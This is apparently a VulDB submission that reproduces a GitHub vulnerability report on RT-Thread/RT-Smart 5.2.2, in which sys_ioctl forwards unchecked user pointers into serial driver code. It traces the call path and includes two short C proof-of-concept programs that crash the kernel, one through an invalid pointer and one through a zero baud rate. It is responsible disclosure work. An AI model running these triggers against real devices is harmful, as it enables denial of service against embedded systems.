| Titel | RT-Thread v5.2.2 Improper Handling of Parameters |
|---|
| Beschreibung | I have already reported this vulnerability in the project's GitHub issue tracker for review by the maintainers. The report is provided below.
# RT-Smart serial ioctl trusts user pointers and can crash the kernel
## Describe the bug
RT-Smart validates and copies user buffers for `read()` and `write()`, but `sys_ioctl()` forwards its third argument directly into the kernel-side ioctl implementation. For serial devices, the file descriptor selects a legitimate kernel-owned device, but the ioctl payload pointer remains user-controlled and is later treated as a trusted kernel pointer to driver-specific data structures.
The concrete affected path is:
```text
user process
-> ioctl(fd, RT_DEVICE_CTRL_CONFIG, user_ptr)
-> sys_ioctl(fd, cmd, data)
-> ioctl(fd, cmd, data)
-> fcntl(fd, cmd, data)
-> dfs_file_ioctl(...)
-> serial_fops_ioctl(...)
-> rt_device_control(device, cmd, args)
-> rt_serial_control(..., RT_DEVICE_CTRL_CONFIG, args)
-> unchecked dereference of args as struct serial_configure *
-> optional board configure callback with attacker-controlled fields
```
This gives a user process two direct crash paths when it has access to a serial device node:
1. Passing an invalid ioctl payload pointer can crash the kernel before any board callback is reached, because `rt_serial_control()` dereferences the unchecked pointer as `struct serial_configure *`.
2. Passing a readable user `struct serial_configure` can make the kernel consume attacker-controlled fields. On imx6ull-smart, setting `baud_rate = 0` while preserving the current buffer size can reach board UART code that divides by `cfg->baud_rate`.
The second case is concrete for RT-Smart imx6ull serial. The default imx6ull-smart configuration enables RT-Smart, MMU, serial, and POSIX devio, and registers `BSP_USING_UART1` as `uart0`.
## Affected code
`read()` and `write()` explicitly validate and copy user buffers under `ARCH_MM_MMU`:
```text
components/lwp/lwp_syscall.c:423
components/lwp/lwp_syscall.c:434
components/lwp/lwp_syscall.c:439
components/lwp/lwp_syscall.c:445
components/lwp/lwp_syscall.c:448
components/lwp/lwp_syscall.c:494
components/lwp/lwp_syscall.c:502
components/lwp/lwp_syscall.c:507
components/lwp/lwp_syscall.c:513
components/lwp/lwp_syscall.c:516
```
`sys_ioctl()` does not perform the same user-access check or copy:
```c
sysret_t sys_ioctl(int fd, unsigned long cmd, void* data)
{
int ret = ioctl(fd, cmd, data);
return (ret < 0 ? GET_ERRNO() : ret);
}
```
Location:
```text
components/lwp/lwp_syscall.c:796
components/lwp/lwp_syscall.c:798
```
For RT-Thread serial devices with POSIX devio enabled, the serial fops layer resolves the target device from the file object and forwards the unchecked argument into `rt_device_control()`:
```c
static int serial_fops_ioctl(struct dfs_file *fd, int cmd, void *args)
{
rt_device_t device;
int flags = (int)(rt_base_t)args;
int mask = O_NONBLOCK | O_APPEND;
device = (rt_device_t)fd->vnode->data;
switch ((rt_ubase_t)cmd)
{
case FIONREAD:
break;
case FIONWRITE:
break;
case F_SETFL:
flags &= mask;
fd->flags &= ~mask;
fd->flags |= flags;
break;
}
return rt_device_control(device, cmd, args);
}
```
Location:
```text
components/drivers/serial/dev_serial.c:121
components/drivers/serial/dev_serial.c:141
```
The serial control path then treats `args` as a trusted kernel pointer. The first dereference of `pconfig->bufsz` is already enough to crash the kernel if `args` is an invalid user pointer. If the pointer is readable, `serial->config = *pconfig` copies attacker-controlled fields into the serial state:
```c
case RT_DEVICE_CTRL_CONFIG:
if (args)
{
struct serial_configure *pconfig = (struct serial_configure *) args;
if (pconfig->bufsz != serial->config.bufsz && serial->parent.ref_count)
{
return -RT_EBUSY;
}
serial->config = *pconfig;
if (serial->parent.ref_count)
{
serial->ops->configure(serial, (struct serial_configure *) args);
}
}
break;
```
Locations:
```text
components/drivers/serial/dev_serial.c:1084
components/drivers/serial/dev_serial.c:1087
components/drivers/serial/dev_serial.c:1088
components/drivers/serial/dev_serial.c:1094
components/drivers/serial/dev_serial.c:1098
```
Opening the device sets `ref_count`, so the configure callback is reachable after `open()`:
```text
components/drivers/serial/dev_serial.c:73
components/drivers/serial/dev_serial.c:103
components/drivers/core/device.c:271
components/drivers/core/device.c:275
```
Separately, if the unchecked pointer is readable and the configure callback is reached, imx6ull-smart has a board-specific divide-by-zero path. The board UART configure function uses the user-controlled `baud_rate` field as a divisor. The assertion only checks the upper bound, so `baud_rate = 0` passes this assertion and reaches the division:
```c
RT_ASSERT(cfg->baud_rate <= BAUD_RATE_921600);
periph->UBIR = UART_UBIR_INC(15);
periph->UBMR = UART_UBMR_MOD(HW_UART_BUS_CLOCK / cfg->baud_rate - 1);
```
Location:
```text
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:191
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:194
```
The imx6ull-smart BSP enables RT-Smart and serial device access:
```text
bsp/nxp/imx/imx6ull-smart/rtconfig.h:65 RT_USING_SMART
bsp/nxp/imx/imx6ull-smart/rtconfig.h:123 ARCH_MM_MMU
bsp/nxp/imx/imx6ull-smart/rtconfig.h:202 RT_USING_SERIAL
bsp/nxp/imx/imx6ull-smart/rtconfig.h:277 RT_USING_POSIX_DEVIO
bsp/nxp/imx/imx6ull-smart/rtconfig.h:642 BSP_USING_UART1
```
The same BSP registers UART1 as the serial device named `uart0`:
```text
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:52
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:60
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:338
```
## Steps to reproduce by source reasoning
I have not reproduced this on physical imx6ull-smart hardware. The source-level trigger requires:
```text
RT_USING_SMART = enabled
ARCH_MM_MMU = enabled
RT_USING_SERIAL = enabled
RT_USING_POSIX_DEVIO = enabled
a serial device node such as /dev/uart0 is accessible
```
For an invalid user pointer dereference:
```c
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>
int main(void)
{
int fd = open("/dev/uart0", O_RDWR);
if (fd < 0) {
return 1;
}
/*
* sys_ioctl() forwards this pointer without lwp_user_accessable()
* or lwp_get_from_user(). rt_serial_control() then dereferences it
* as struct serial_configure *.
*/
ioctl(fd, RT_DEVICE_CTRL_CONFIG, (void *)0x1);
close(fd);
return 0;
}
```
For the imx6ull-smart divide-by-zero path, the ioctl payload must be a readable `struct serial_configure`. It must also preserve the current serial buffer size so that `rt_serial_control()` does not return `-RT_EBUSY` before calling the board configure callback. With the default serial configuration this buffer size is `RT_SERIAL_RB_BUFSZ`.
```c
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>
int main(void)
{
struct serial_configure cfg = RT_SERIAL_CONFIG_DEFAULT;
int fd = open("/dev/uart0", O_RDWR);
if (fd < 0) {
return 1;
}
/*
* Keep cfg.bufsz equal to the current default buffer size, but set
* baud_rate to zero. The imx6ull-smart UART configure callback uses
* cfg.baud_rate as a divisor.
*/
cfg.baud_rate = 0;
ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg);
close(fd);
return 0;
}
```
Expected source-level path for the divide-by-zero case:
```text
open("/dev/uart0", O_RDWR)
-> serial_fops_open()
-> rt_device_open()
-> device ref_count becomes nonzero
ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg)
-> sys_ioctl()
-> ioctl()
-> fcntl()
-> dfs_file_ioctl()
-> serial_fops_ioctl()
-> rt_serial_control()
-> unchecked reads from user-provided struct serial_configure
-> pconfig->bufsz is accepted because it matches serial->config.bufsz
-> serial->ops->configure(serial, &cfg)
-> imx6ull-smart _uart_ops_configure()
-> HW_UART_BUS_CLOCK / cfg->baud_rate
-> divide by zero when cfg.baud_rate == 0
```
## Security impact
A user process that can open a serial device can pass arbitrary ioctl payload pointers into kernel driver code. At minimum, this can crash the kernel by causing an unchecked user-pointer dereference in `rt_serial_control()`. If the pointer is readable, the kernel consumes attacker-controlled serial configuration fields. On imx6ull-smart, a user-supplied serial configuration with `baud_rate = 0` can additionally reach a divide-by-zero in the UART configure path.
This is a user-kernel boundary issue. The device pointer itself is kernel-owned and selected through the file descriptor; the attacker does not directly supply a raw `rt_device_t`. The unchecked part is the ioctl payload pointer and the data |
|---|
| Quelle | ⚠️ https://github.com/RT-Thread/rt-thread/issues/11429 |
|---|
| Benutzer | Zephyr Saxon (UID 80853) |
|---|
| Einreichung | 02.06.2026 04:00 (vor 1 Monat) |
|---|
| Moderieren | 03.07.2026 19:10 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 376145 [RT-Thread bis 5.2.2 Parameter lwp_syscall.c read/write/sys_ioctl Denial of Service] |
|---|
| Punkte | 20 |
|---|